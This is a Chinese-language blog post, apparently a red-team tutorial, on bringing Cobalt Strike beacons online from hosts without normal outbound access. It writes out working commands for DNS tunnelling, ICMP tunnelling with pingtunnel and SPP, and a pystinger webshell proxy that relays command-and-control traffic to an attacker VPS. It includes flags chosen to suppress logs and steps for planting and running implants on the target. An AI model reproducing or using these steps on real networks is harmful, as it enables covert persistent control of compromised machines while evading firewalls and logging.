CYH博客CYH博客

天行健,
君子以自强不息。

多情况下不出网上线Cobalt Strike

1.TCP、UDP、ICMP协议和域名系统DNS


1.1.TCP、UDP协议

tcp是有连接可靠传输,有3次握手机制保证数据传输的可靠性。如果有丢包,则重新传数据。像FTP文件传送,远程登录,POP3电子邮件,这些都是基于TCP协议的,他们要保证传输的完整性。

udp无连接实时性较强,不保证可靠交付,有丢包还继续传输,通常想语音,电话,视频是udp传输,偶尔丢几个包不影响通信。


1.2.ICMP协议

icmp是TCP/IP协议簇的一个子协议是网络互联层(三层)的协议。不承载数据,不是用来传输用户数据,是用来传递控制消息的,即:网络通不通、主机是否可达。ping命令就是基于ICMP的。


本文中使用到的pingtunnel工具其实是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

1.3.域名系统DNS

DNS占用53号端口,同时使用TCP和UDP协议

DNS在区域传输的时候使用TCP协议,其他时候使用UDP协议。

DNS区域传输的时候使用TCP协议:

1.辅域名服务器会定时(一般3小时)向主域名服务器进行查询以便了解数据是否有变动。如有变动,会执行一次区域传送,进行数据同步。区域传送使用TCP

2.TCP是一种可靠连接,保证了数据的准确性。

域名解析时使用UDP协议:

客户端向DNS服务器查询域名,一般返回的内容都不超过512字节,用UDP传输即可。不用经过三次握手,这样DNS服务器负载更低,响应更快。理论上说,客户端也可以指定向DNS服务器查询时用TCP,但事实上,很多DNS服务器进行配置的时候,仅支持UDP查询包。

2. DNS隧道上线Cobalt Strike

很多情况下在外网拿到了Webshell之后发现只有DNS能出网,但是又想上线CS这个时候我们就可以通过DNS隧道去上线。

多情况下不出网上线Cobalt Strike(图1)

2.1.Beacon


CS的马有两大类:一种是本身是带有完整功能的二进制程序(stageless);另一种马短小精悍,分为三个部分——攻击载荷(payload)、传输器(stager)和传输体(stage),传输器通过下载传输体将其拼接成真正可以回连teamserver的马子(payload)。

stageless,顾名思义就是没有stager和stage的马,而是直接以payload为模版生成一个完整的二进制马。

而CS的DNS Beacon本质上与HTTP/HTTPS无异,只是将数据封装进了不同的协议而已。这里借用官网的原图说明下DNS Beacon的工作原理:

多情况下不出网上线Cobalt Strike(图2)


从上图中可以看到,当我们给CS的teamserver搞了一个域名并配置相应的A记录以及指向自身A记录的NS记录后,DNS请求就会被迭代查询的本地DNS服务器一步一步引向teamserver,teamserver收到了服务端的特殊请求后便可以用封装的加密通信协议与之交互了。

2.2.前期准备

1.首先我们需要去freenom上面申请一个免费的域名详细教程可以参考

【教程】最新注册freenom免费域名的方法

然后我们在cloudflare.com 注册一个账号,然后把刚刚注册的域名填进去。

然后点击DNS,把NS值填入到freemon上

多情况下不出网上线Cobalt Strike(图3)


多情况下不出网上线Cobalt Strike(图4)


稍等片刻后就可以 ping 域名看看是否配置成功:
多情况下不出网上线Cobalt Strike(图5)



接着我们再添加一条NS记录

多情况下不出网上线Cobalt Strike(图6)

Cobalt Strike 的Payload选择Beacon DNS

多情况下不出网上线Cobalt Strike(图7)


这里由于53端口默认被systemd-resolved服务占用了

关闭方法:systemctl stop systemd-resolved

多情况下不出网上线Cobalt Strike(图8)


2.3.stageless


首先生成个stageless的马并执行。一开始在checkin阶段,会有这样一次DNS请求的交互:

多情况下不出网上线Cobalt Strike(图9)

CS中随即出现了一个Ghost Beacon:

多情况下不出网上线Cobalt Strike(图10)


在beacon上线之后,图标是个黑框,且和http和tcp beacon不一样它没有默认的睡眠60秒,你甚至可能会以为beacon死掉了,其实不然如果想要和beacon交互这个时候需要checkin命令,help checkin可以看到帮助信息,大意就是会让dns beacon强制回连你的teamserver,checkin之后就会发现图标变了,也可以进行交互了,但非常慢,有时候甚至还连不回来.

这个时候需要修改一下dns模式.help mode可以看一下具体有什么不同,默认的mode dns数据传输比较慢,可以修改为mode dns-txt 这样传输会快点儿,每次传输189比特的数据,相比A记录每次传输4比特的数据快很多了尽管如此upload和download的时候还是很难受。

多情况下不出网上线Cobalt Strike(图11)

多情况下不出网上线Cobalt Strike(图12)

随后执行一条命令,可以发现同一时间的流量中夹杂了TXT记录:

多情况下不出网上线Cobalt Strike(图13)
根据官方文档描述,CS4中有三种数据传输模式,A、AAAA、TXT,默认是TXT,因此这里的A记录只是维持心跳和基本的通信,传输数据默认还是走TXT的。


2.4.stager

由于stager需要下载stage组成马子的真正功能体,因此在一开始就需要有一个下载数据的过程。
执行的瞬间会产生大量的TXT请求,其中数据是加密后Base64编码的,无从得知其中的内容(想想也知道里面就是stage)。在这个过程中是没有Ghost Beacon上线的:

多情况下不出网上线Cobalt Strike(图14)

可以看到流量中夹杂着大量的TXT记录

等待了大概10分钟后终于上线了

多情况下不出网上线Cobalt Strike(图15)

之后的通信就没有什么特别的了,只是稳定性依然取决于网络情况,如果服务器在国外的话依旧不太稳定。尽管修改模式为dns-txt每次传输189比特的数据,相比A记录每次传输4比特的数据快很多了尽管如此upload和download的时候还是很难受。





3. ICMP隧道上线Cobalt Strike

3.1pingtunnel

下载地址:https://github.com/esrrhs/pingtunnel


pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件

由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密


3.1.1.在cs服务器上开启服务端


./pingtunnel -type server

多情况下不出网上线Cobalt Strike(图16)


3.1.2.客户端开启

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1


pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.21.3 -t 192.168.21.3:7777 -tcp 1 -noprint 1 -nolog 1

这里一定要带上-noprint 1 -nolog 1 这两个参数,不然会产生大量的日志和数据

如果客户端与服务端不能够连接可以通过如下命令关闭本地ICMP应答

sysctl -w net.ipv4.icmp_echo_ignore_all=1


输入完命令之后返回服务端查看,这时候客户端和服务端已经成功的连接上了。

多情况下不出网上线Cobalt Strike(图17)


3.1.3.上线CS

首先在CS上配置两个监听器

多情况下不出网上线Cobalt Strike(图18)


将ICMP-127的监听生成木马,传到靶机运行

多情况下不出网上线Cobalt Strike(图19)

成功上线


多情况下不出网上线Cobalt Strike(图20)



多情况下不出网上线Cobalt Strike(图21)


3.2.通过SPP搭建Socks5隧道



下载地址

https://github.com/esrrhs/spp/releases

特点!:

  • 支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
  • 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
  • 协议和类型可以自由组合
  • 外部代理协议和内部转发协议可以自由组合


开启正向代理、反向代理、socks5正向代理、socks5反向代理可以参考以下文章,本文只提供如何上线Cobalt Strike的方法,

https://xz.aliyun.com/t/9820#toc-11
https://github.com/esrrhs/spp

3.2.1.服务器


在vps的8888端口开启tcp流量监听

spp -type server -proto tcp -listen :8888

通过修改-proto参数可以自主选择监听流量协议类型,这里需要注意,ricmp协议无需设置端口

spp -type server -proto ricmp -listen 0.0.0.0


由于我们模拟的是ICMP上线的情况所以我们服务端只需要运行第二条命令即可

多情况下不出网上线Cobalt Strike(图22)


3.2.3.客户端

spp.exe -name "test" -type reverse_socks5_client -server v/ps -fromaddr :8080 -proxyproto tcp -proto ricmp

spp.exe -name "test" -type reverse_socks5_client -server 192.168.21.3 -fromaddr :8080 -proxyproto tcp -proto ricmp

多情况下不出网上线Cobalt Strike(图23)

此时我们可以设置代理即可以访问内网

socks5:v/ps:8080

192.168.21.3:8080


多情况下不出网上线Cobalt Strike(图24)


3.3.通过SPP上线Cobalt Strike


3.3.1.CS服务器执行

./spp -type server -proto ricmp -listen 0.0.0.0


3.3.2.客户端执行


spp -name "test" -type proxy_client -server v/ps -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

spp -name "test" -type proxy_client -server 192.168.21.3 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

# -nolog 1不输出日志,-noprint 1不打印内容
spp.exe -name "test" -type proxy_client -server 192.168.21.3 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1

3.3.3.CS设置监听

设置监听127.0.0.1:8082和192.168.3.76:8081

多情况下不出网上线Cobalt Strike(图25)

使用spp-127监听器生成木马成功上线

多情况下不出网上线Cobalt Strike(图26)

多情况下不出网上线Cobalt Strike(图27)

4. Pystinger上线Cobalt Strike


毒刺(pystinger) 可通过 webshell 实现ss4代理、端口映射。由于稳定性、速度一般,不建议优先使用,在常规正向代理没法用的时候或者想在不出网的机器上C2,可以尝试。

下载地址:https://github.com/FunnyWolf/pystinger


多情况下不出网上线Cobalt Strike(图28)



正向Socks4a代理


多情况下不出网上线Cobalt Strike(图29)


4.1.服务端的配置


将webshell上传到服务器上,能正常访问则返回UTF-8

多情况下不出网上线Cobalt Strike(图30)


同时上传服务器文件,并启动

./stinger_server 0.0.0.0 #linux
start stinger_server.exe 0.0.0.0 #windows


多情况下不出网上线Cobalt Strike(图31)


4.2.客户端配置


在cs服务器下执行以下命令

./stinger_client -w http://192.168.21.2/proxy.php -l 0.0.0.0 -p 6000

此时已经在 VPS 的 6000 端口启动了一个ss4a代理,同时将目标机器 60020 端口映射到 VPS上

多情况下不出网上线Cobalt Strike(图32)


这时候我们可以通过设置proxychains代理进入目标内网

vim /etc/proxychains4.conf

多情况下不出网上线Cobalt Strike(图33)


多情况下不出网上线Cobalt Strike(图34)


4.3.上线CS

反向端口映射原理

多情况下不出网上线Cobalt Strike(图35)


首先在CS上配置一个监听器

多情况下不出网上线Cobalt Strike(图36)

成功上线

多情况下不出网上线Cobalt Strike(图37)


参考文章:

https://www.cnblogs.com/wuyepeng/p/9835839.html

https://blog.csdn.net/HD243608836/article/details/102811328

https://xz.aliyun.com/t/7938#toc-8

https://www.cnblogs.com/Feii/p/13080324.html

https://www.freebuf.com/articles/web/282931.html

https://www.yuque.com/0xzs/nw5bzo/fv3bcq

未经允许不得转载:CYH博客 » 多情况下不出网上线Cobalt Strike
分享到: 更多 (0)

CYH博客 带给你想要内容

联系我